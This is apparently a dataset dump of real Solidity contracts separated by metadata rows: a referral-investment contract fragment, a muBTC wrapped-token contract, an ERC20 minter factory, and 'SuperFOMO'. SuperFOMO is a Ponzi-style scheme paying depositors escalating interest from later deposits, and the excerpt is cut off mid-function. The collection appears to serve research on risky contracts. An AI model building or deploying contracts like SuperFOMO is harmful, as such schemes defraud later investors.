function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserInfo(address userAddress) public view returns(uint256, uint256, uint256){
return (getUserAvailable(userAddress),
getUserTotalDeposits(userAddress),
getUserTotalWithdrawn(userAddress));
}
function getContractInfo() public view returns(uint256, uint256, uint256, uint256, uint256){
return (totalUsers,
totalInvested,
totalWithdrawn,
totalReferrals,
getContractBalance());
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 172,654 | 10,544 |
64314d60bbf395be4b27c87526229045b797f78cc4e2bbbe069ab9c8a6c06f84
| 34,417 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/0a/0A54fc8e9725480Ea1D950b03572FC45eC66613E_muBTC.sol
| 4,397 | 17,497 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
// Part: IStrategyManager
interface IStrategyManager {
function notifyFundsDeposited(uint256 amount) external;
function withdrawTo(address recipient, uint256 amount) external;
}
// Part: OpenZeppelin/[emailprotected]/Address
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[emailprotected]/Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: OpenZeppelin/[emailprotected]/IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[emailprotected]/Math
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// Part: OpenZeppelin/[emailprotected]/ReentrancyGuard
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// Part: OpenZeppelin/[emailprotected]/SafeMath
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// Part: OpenZeppelin/[emailprotected]/Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Part: OpenZeppelin/[emailprotected]/SafeERC20
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: muBTC.sol
contract muBTC is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public symbol;
string public name;
uint256 public decimals;
uint256 public totalSupply = 0;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address from, address to, uint256 value);
event Approval(address owner, address spender, uint256 value);
address _strategyManager;
address public underlyingToken;
constructor(string memory _name,
string memory _symbol,
uint256 _decimals,
address _underlyingToken) Ownable() public
{
name = _name;
symbol = _symbol;
decimals = _decimals;
underlyingToken = _underlyingToken;
_strategyManager = address(0);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function _mint(address receiver, uint256 amount) internal {
require(receiver != address(this), "Cannot use this contract to self mint");
require(receiver != address(0), "Address must be set!");
balances[receiver] = balances[receiver].add(amount);
totalSupply = totalSupply.add(amount);
emit Transfer(address(0), receiver, amount);
}
function mint(uint256 amount) external nonReentrant returns (bool) {
uint256 mint_amount = Math.min(amount, IERC20(underlyingToken).balanceOf(msg.sender));
require(mint_amount > 0, "Amount must be higher than 0");
if (_strategyManager != address(0)) {
IERC20(underlyingToken).transferFrom(msg.sender, _strategyManager, mint_amount);
IStrategyManager(_strategyManager).notifyFundsDeposited(mint_amount);
} else {
IERC20(underlyingToken).transferFrom(msg.sender, address(this), mint_amount);
}
_mint(msg.sender, mint_amount);
return true;
}
function _burn(address receiver, uint256 amount) internal {
require(receiver != address(this), "Cannot use this contract to self mint");
require(receiver != address(0), "Address must be set!");
balances[receiver] = balances[receiver].sub(amount);
totalSupply = totalSupply.sub(amount);
}
function unmint(uint256 amount) external nonReentrant returns (bool) {
uint256 burn_amount = Math.min(amount, balanceOf(msg.sender));
// burn amount is in muBTC (12 decimals)
require(burn_amount > 0, "Amount must be higher than 0");
if (_strategyManager != address(0)) {
IStrategyManager(_strategyManager).withdrawTo(msg.sender, burn_amount);
} else {
IERC20(underlyingToken).transfer(msg.sender, burn_amount);
}
_burn(msg.sender, burn_amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(balances[_from] >= _value, "Insufficient balance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public nonReentrant returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from,
address _to,
uint256 _value)
public nonReentrant
returns (bool)
{
require(allowed[_from][msg.sender] >= _value, "Insufficient allowance");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function setStartegyManager(address _strategyAddress) public onlyOwner {
require (_strategyManager == address(0), "Can only set strategy manager once");
_strategyManager = _strategyAddress;
IERC20(underlyingToken).transferFrom(address(this), _strategyManager, IERC20(underlyingToken).balanceOf(address(this)));
}
}
| 40,253 | 10,545 |
7553bdb273e7737b5bb9209aa449f975ff21754342dc8f9301354d60c807cf54
| 29,451 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/1e/1EA3FfD41c3ed3e3f788830aAef553F8F691aD8C_CreateERC20Minter.sol
| 3,412 | 13,241 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Create2 {
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
// solhint-disable-next-line no-inline-assembly
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) {
bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));
return address(uint256(_data));
}
}
contract CreateERC20Minter {
address public owner;
address public minter = address(0);
event Deployed(address addr, uint8 count);
modifier onlyOwner() {
require(owner == msg.sender, "onlyOwner: caller is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function setupMinter(address _minter) public onlyOwner {
minter = _minter;
}
function deployERC20Minter(string memory name, string memory symbol, uint8 decimals, uint8 count) public onlyOwner {
require(minter != address(0), "ERROR: Zero address");
bytes32 salt = keccak256(abi.encodePacked(name, decimals, symbol, count));
address addr = Create2.deploy(0, salt, type(ERC20Minter).creationCode);
ERC20Minter(addr).initialize(name, symbol, decimals, minter);
emit Deployed(addr, count);
}
function computeAddress(string memory name, string memory symbol, uint8 decimals, uint8 count, bytes32 codeHash) public view returns (address) {
bytes32 salt = keccak256(abi.encodePacked(name, decimals, symbol, count));
return Create2.computeAddress(salt, codeHash, address(this));
}
receive() payable external {
revert("Denied.");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
function _initialize(string memory name, string memory symbol, uint8 decimals) internal {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract ERC20Minter is Context, ERC20 {
address public factory;
address public current_minter = address(0);
modifier onlyMinter() {
require(current_minter == _msgSender(), "onlyMinter: caller is not the minter");
_;
}
constructor() public {
factory = _msgSender();
}
// called once by the factory at time of deployment
function initialize(string memory name, string memory symbol, uint8 decimals, address minter) external {
require(_msgSender() == factory, 'NerveNetwork: FORBIDDEN'); // sufficient check
require(minter != address(0), "ERROR: Zero address");
_initialize(name, symbol, decimals);
current_minter = minter;
}
function mint(address to, uint256 amount) external onlyMinter {
_mint(to, amount);
}
function burn(uint256 amount) external onlyMinter {
_burn(_msgSender(), amount);
}
function replaceMinter(address newMinter) external onlyMinter {
current_minter = newMinter;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override(ERC20) {
super._transfer(sender, recipient, amount);
if (_msgSender() != current_minter && recipient == current_minter) {
_burn(recipient, amount);
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
}
}
| 129,103 | 10,546 |
90de8fff3cdc1cae10394e0a9c1b64695f726ca78e54e9ca933d0ef0cb37090f
| 17,664 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0xaB820B476dA01AbBB8e7f0E7A359EB803D0FcAbF.sol
| 3,739 | 12,962 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Storage {
address private owner;
mapping (address => Investor) investors;
struct Investor {
uint index;
mapping (uint => uint) deposit;
mapping (uint => uint) interest;
mapping (uint => uint) withdrawals;
mapping (uint => uint) start;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value, uint _interest) external onlyOwner {
investors[_address].deposit[investors[_address].index] += _value;
investors[_address].start[investors[_address].index] = block.timestamp;
investors[_address].interest[investors[_address].index] = _interest;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function updateWithdrawals(address _address, uint _index, uint _withdrawal) external onlyOwner {
investors[_address].withdrawals[_index] += _withdrawal;
}
function updateIndex(address _address) external onlyOwner {
investors[_address].index += 1;
}
function ind(address _address) external view returns(uint) {
return investors[_address].index;
}
function d(address _address, uint _index) external view returns(uint) {
return investors[_address].deposit[_index];
}
function i(address _address, uint _index) external view returns(uint) {
return investors[_address].interest[_index];
}
function w(address _address, uint _index) external view returns(uint) {
return investors[_address].withdrawals[_index];
}
function s(address _address, uint _index) external view returns(uint) {
return investors[_address].start[_index];
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
}
contract SuperFOMO {
using SafeMath for uint;
address public owner;
address advertising;
address techsupport;
uint waveStartUp;
uint jackPot;
uint lastLeader;
address[] top;
Storage x;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, address _secondAddr, address _thirdAddr, address _fourthAddr, address _fifthAddr);
event LogNewWave(uint _waveStartUp);
event LogNewLeader(address _leader);
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
modifier notFromContract() {
address addr = msg.sender;
uint size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address _advertising, address _techsupport) public {
owner = msg.sender;
advertising = _advertising;
techsupport = _techsupport;
waveStartUp = block.timestamp;
x = new Storage();
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef() internal returns(uint) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getDividends(_referrer) > 0) {
_referrer.transfer(msg.value / 20);
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
return(msg.value / 50);
} else {
advertising.transfer(msg.value / 20);
return(0);
}
}
function getInterest() public view returns(uint) {
uint multiplier = (block.timestamp.sub(waveStartUp)) / 6 days;
if (multiplier == 0) {
return 25;
}
if (multiplier <= 8){
return(15 + (multiplier * 10));
} else {
return 100;
}
}
function toTheTop() internal {
top.push(msg.sender);
lastLeader = block.timestamp;
emit LogNewLeader(msg.sender);
}
function payDay() internal {
top[top.length - 1].transfer(jackPot * 3 / 5);
top[top.length - 2].transfer(jackPot / 10);
top[top.length - 3].transfer(jackPot / 10);
top[top.length - 4].transfer(jackPot / 10);
top[top.length - 5].transfer(jackPot / 10);
jackPot = 0;
lastLeader = block.timestamp;
emit LogGift(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable notOnPause notFromContract {
require(msg.value >= 0.05 ether);
jackPot += msg.value * 3 / 100;
if (x.d(msg.sender, 0) > 0) {
x.updateIndex(msg.sender);
} else {
x.updateCheckpoint(msg.sender);
}
if (msg.data.length == 20) {
uint addend = setRef();
} else {
advertising.transfer(msg.value / 20);
}
x.updateInfo(msg.sender, msg.value + addend, getInterest());
if (msg.value >= 1 ether) {
toTheTop();
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(msg.sender) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(msg.sender); i++) {
if (x.w(msg.sender, i) < x.d(msg.sender, i) * 2) {
if (x.s(msg.sender, i) <= x.c(msg.sender)) {
uint dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.c(msg.sender).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
if (x.s(msg.sender, i) + 2 days >= block.timestamp) {
dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
dividends = (x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i))).div(1 days);
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
}
}
}
}
if (_payout > 0) {
if (_payout > address(this).balance && address(this).balance <= 0.1 ether) {
nextWave();
return;
}
x.updateCheckpoint(msg.sender);
advertising.transfer(_payout * 3 / 25);
techsupport.transfer(_payout * 3 / 100);
